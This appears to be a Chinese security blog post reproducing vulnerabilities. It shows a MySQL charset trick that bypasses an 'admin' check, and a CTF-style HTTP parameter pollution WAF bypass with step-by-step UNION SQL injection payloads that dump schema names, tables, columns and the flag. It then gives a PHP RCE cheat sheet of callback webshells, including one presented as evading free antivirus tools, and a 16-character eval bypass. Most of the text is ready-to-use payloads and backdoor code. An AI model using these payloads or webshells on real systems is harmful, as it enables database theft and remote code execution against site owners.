sql及rce漏洞复现
一,mysql小特性解决大问题
<?php
$mysqli = new mysqli("localhost", "root", "root", "cat");
/* check connection */
if ($mysqli->connect_errno) {printf("Connect failed: %s\n", $mysqli->connect_error);exit();
}
$mysqli->query("set names utf8");
$username = addslashes($_GET['username']);
if ($username === 'admin') {die('Permission denied!');
}
/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";
if ($result = $mysqli->query( $sql )) {printf("Select returned %d rows.\n", $result->num_rows);
while ($row = $result->fetch_array(MYSQLI_ASSOC)){var_dump($row);}
/* free result set */$result->close();
} else {var_dump($mysqli->error);
}
$mysqli->close();
题目简述:
当传入?username=admin时,代码会进入die('Permission denied!');但是需要拿到var_dump($row);我们就必须输入admin,此时该如何解决? 然后,我们访问http://localhost/test.php/?username=admin%c2,即可发现%c2被忽略,Mysql查出了username=admin的结果
漏洞分析:
Mysql在执行查询的时候,就涉及到字符集的转换。
-
MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
-
进行内部操作前将请求数据从character_set_connection转换为内部操作字符集
在我们这个案例中,character_set_client和character_set_connection被设置成了utf8,而内部操作字符集其实也就是username字段的字符集还是默认的latin1。于是,整个操作就有如下字符串转换过程:
utf8 --> utf8 --> latin1
最后执行比较username='admin'的时候,'admin'是一个latin1字符串
漏洞原因:
Mysql在转换字符集的时候,将不完整的字符给忽略了。
举个简单的例子,佬这个汉字的UTF-8编码是\xE4\xBD\xAC,我们可以依次尝试访问下面三个URL:
http://127.0.0.1/test.php?username=admin%e4 可以
http://127.0.0.1/test.php?username=admin%e4%bd 可以
http://127.0.0.1/test.php?username=admin%e4%bd%ac 不行
二, 贷齐乐hpp+php特性注入
源码:
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';function dhtmlspecialchars($string) {if (is_array($string)) {foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}}else {$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);if (strpos($string, '&#') !== false) {$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;}function dowith_sql($str) {$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {echo "非法字符!";exit();}return $str;}
// hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格// 经过第一个waf处理//i_d=1&i.d=aaaaa&submit=1foreach ($_REQUEST as $key => $value) { $_REQUEST[$key] = dowith_sql($value);}// 经过第二个WAF处理$request_uri = explode("?", $_SERVER['REQUEST_URI']);//i_d=1&i.d=aaaaa&submit=1if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);//print_r($rewrite_url);exit;foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {//$_REQUEST[I_d]=-1 union select flag users$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}
// $_REQUEST不能有恶意字符
// $_SERVER// 业务处理//?i_d&i.d=aaaaaaaif (isset($_REQUEST['submit'])) {$user_id = $_REQUEST['i_d'];$sql = "select * from ctf.users where id=$user_id";$result = @mysqli_query($conn,$sql);while($row = @mysqli_fetch_array($result)){echo "<tr>";echo "<td>" . $row['username'] . "</td>";echo "</tr>";}}
?>
绕过思路:
源代码进行了两次取值,第一次取值判断是否有非法字符,也就是第二个waf,第二次取值会覆盖第一次(在这里会产生问题),然后进行'&', '"', '<', '>', '(', ')'的过滤。我们通过构造两个i_d,第一个为我们有害数据,让第一次传参取第二个值,第二次传参取第一个值。
?i_d=1&i_d=2 php会默认取第二个,两次取值函数都取第二个无害数据,我们的有害数据没进去。
在php中有一个小特性,会将i.d和i]d转换为i_d,利用这一特性,第一次取值时,$REQUEST[$key] = dowith_sql($value);会将i.d和i]d转换为i_d,故取第二个值。第二次取值时,$SERVER['REQUEST_URI']会区分i.d和i_d,所以取了第一个有害数据。?i_d=1&i.d=2
payload:
?submit=bbbb&i_d=-1/**/union/**/select/**/1,2,3&i.d=2 回显数字2
?submit=bbbb&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=2 注入数据库名
?submit=bbbb&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=2 注入出表名 由于过滤了单引号,我们的ctf库名需要单引号包裹,所以将ctf转为16进制。
?
submit=bbbb&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=2 注入出列名
?
submit=bbbb&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=2 注入出flag
三,rce漏洞整理
命令执行函数:system exec shell_exec popen proc_open passthru
代码执行函数:eval asserrt call_user_func call_user_func _array
eval在php不是一个函数,是一个动态执行的方法。所以eval不能通过动态方式传参执行。
1,php回调后门
call_user_func('assert', $_REQUEST['pass']); 传值pass=$_POST[123],按理来说,assert可以执行$_POST,但是用动态传递的方式失败,使用蚁剑连接失败,但是在前面加一个eval即可成功,即pass=eval($_POST[123])
eval:eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
call_user_func_array('assert', array($_REQUEST['pass']));
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, base64_decode($e)); 在array_filter这个回调函数里,base64_decode($e)接收回调方法,$arr接收处理数据 传递 e=YxNzZXJ0&pass=phpinfo()
可以绕过免费查杀工具的后门
<?php
get_meta_tags("http://127.0.0.1/demo.html")["author"](get_meta_tags("http://127.0.0.1/demo.html")["keyswords"]);<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="author" content="system"><meta name="keyswords" content="whoami"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body></body>
</html>
PHP Eval函数参数限制在16个字符的情况下,如何拿到Webshell?
源码:
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
绕过方式:
?param=echo%20`$GET[1]`;&1=id
在linux``可以执行命令